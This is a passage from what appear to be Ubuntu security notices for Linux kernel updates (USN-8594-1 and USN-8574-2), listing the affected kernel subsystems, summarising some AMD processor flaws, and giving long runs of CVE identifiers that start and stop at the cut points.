CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53354, CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865, CVE-2026-64164)

USN-8594-1: Linux kernel (OEM) vulnerabilities

Thu, 23 Jul 2026 10:01:08 +0200

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - Foo-over-UDP (FOU); - ARM64 architecture; - x86 architecture; - Block layer subsystem; - Drivers core; - Null block device driver; - Bluetooth drivers; - Counter interface drivers; - DMA engine subsystem; - DPLL subsystem; - GPIO subsystem; - GPU drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - On-Chip Interconnect management framework; - IOMMU subsystem; - IRQ chip drivers; - Modular ISDN driver; - LED subsystem; - Multiple devices driver; - UACCE accelerator framework; - MMC subsystem; - Ethernet bonding driver; - Network drivers; - Mellanox network drivers; - NVME drivers; - Device tree and open firmware driver; - PHY drivers; - x86 platform drivers; - i.MX PM domains; - SCSI subsystem; - SLIMbus drivers; - SPI subsystem; - TTY drivers; - USB Host Controller drivers; - W1 Dallas's 1-wire bus driver; - Xen hypervisor drivers; - BTRFS file system; - EFI Variable file system; - Ext4 file system; - File systems infrastructure; - FUSE (File system in Userspace); - Network file systems library; - Network file system (NFS) client; - Network file system (NFS) server daemon; - SMB network file system; - Memory Management; - Memory management; - Scheduler infrastructure; - Tracing infrastructure; - Netfilter; - NFC subsystem; - io_uring subsystem; - Perf events; - Hibernation control; - Timer subsystem; - BPF subsystem; - Floating proportions library; - Bluetooth subsystem; - CAN network layer; - Ceph Core library; - Networking core; - IPv4 networking; - IPv6 networking; - L2TP protocol; - MAC80211 subsystem; - Multipath TCP; - NET/ROM layer; - RxRPC session sockets; - Network traffic control; - SCTP protocol; - VMware vSockets driver; - Wireless networking; - ALSA AC97 driver; - Creative Sound Blaster X-Fi driver; - Texas InstrumentS Audio (ASoC/HDA) drivers; - USB sound devices; (CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183, CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187, CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195, CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199, CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977, CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981, CVE-2026-22982, CVE-2026-22985, CVE-2026-22986, CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991, CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996, CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000, CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004, CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008, CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012, CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017, CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021, CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025, CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032, CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036, CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044, CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049, CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053, CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057, CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062, CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066, CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070, CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075, CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23079, CVE-2026-23080, CVE-2026-23081, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085, CVE-2026-23086, CVE-2026-23087, CVE-2026-23088, CVE-2026-23089, CVE-2026-23090, CVE-2026-23092, CVE-2026-23093, CVE-2026-23094, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098, CVE-2026-23099, CVE-2026-23100, CVE-2026-23101, CVE-2026-23102, CVE-2026-23103, CVE-2026-23104, CVE-2026-23105, CVE-2026-23106, CVE-2026-23107, CVE-2026-23108, CVE-2026-23109, CVE-2026-23110, CVE-2026-23113, CVE-2026-23114, CVE-2026-23115, CVE-2026-23116, CVE-2026-23118, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121, CVE-2026-23122, CVE-2026-23123, CVE-2026-23124, CVE-2026-23125, CVE-2026-23126, CVE-2026-23128, CVE-2026-23129, CVE-2026-23130, CVE-2026-23131, CVE-2026-23133, CVE-2026-23135, CVE-2026-23136, CVE-2026-23137, CVE-2026-23138, CVE-2026-23139, CVE-2026-23140, CVE-2026-23141, CVE-2026-23142, CVE-2026-23143, CVE-2026-23144, CVE-2026-23145, CVE-2026-23146, CVE-2026-23147, CVE-2026-23148, CVE-2026-23150, CVE-2026-23151, CVE-2026-23152, CVE-2026-23154, CVE-2026-23156, CVE-2026-23157, CVE-2026-23158, CVE-2026-23159, CVE-2026-23160, CVE-2026-23161, CVE-2026-23162, CVE-2026-23163, CVE-2026-23164, CVE-2026-23165, CVE-2026-23166, CVE-2026-23167, CVE-2026-23168, CVE-2026-23169, CVE-2026-23170, CVE-2026-23171, CVE-2026-23172, CVE-2026-23173, CVE-2026-23212, CVE-2026-31444, CVE-2026-43318, CVE-2026-46317, CVE-2026-53277)

USN-8574-2: Linux kernel vulnerabilities

Thu, 23 Jul 2026 10:01:06 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) It was discovered that some AMD Zen 5 processors supporting RDSEED instruction did not properly handle entropy, potentially resulting in the consumption of insufficiently random values. A local attacker could possibly use this issue to influence the values returned by the RDSEED instruction causing loss of confidentiality and integrity. (CVE-2025-62626) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Compute Acceleration Framework; - ACPI drivers; - Serial ATA and Parallel ATA drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - Clock framework and drivers; - Data acquisition framework and drivers; - Counter interface drivers; - CPU frequency scaling framework; - Hardware crypto device drivers; - CXL (Compute Express Link) drivers; - DMA engine subsystem; - EDAC drivers; - EFI core; - GPU drivers; - Greybus drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IRQ chip drivers; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Fastrpc Driver; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Ethernet team driver; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Generic PM domains; - i.MX PM domains; - Remote Processor subsystem; - S/390 drivers; - SCSI subsystem; - SLIMbus drivers; - Freescale SoC drivers; - Microchip PolarFire SoC system controller driver; - SPI subsystem; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - USB Type-C Connector System Software Interface driver; - VFIO drivers; - Framebuffer layer; - TSM TDX Guest driver; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - Journaling layer for block devices (JBD2); - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Diskquota system; - SMB network file system; - SquashFS file system; - Tracing file system; - UDF file system; - XFS file system; - Kernel CPU control infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Memory Management; - Integrity Measurement Architecture(IMA) framework; - KVM subsystem; - Memory management; - Networking core; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Tracing infrastructure; - Network traffic control; - Distributed Switch Architecture; - IPv4 networking; - IP tunnels definitions; - MAC80211 subsystem; - Netfilter; - User-space API (UAPI); - io_uring subsystem; - Audit subsystem; - BPF subsystem; - Control group (cgroup); - Perf events; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - KProbes tracing; - Locking primitives; - Kernel module support; - Padata parallel execution mechanism; - Cryptographic library; - Heterogeneous memory management; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - Landlock security; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - Samsung ASoC drivers; - SoC audio core drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287, CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993, CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171, CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, 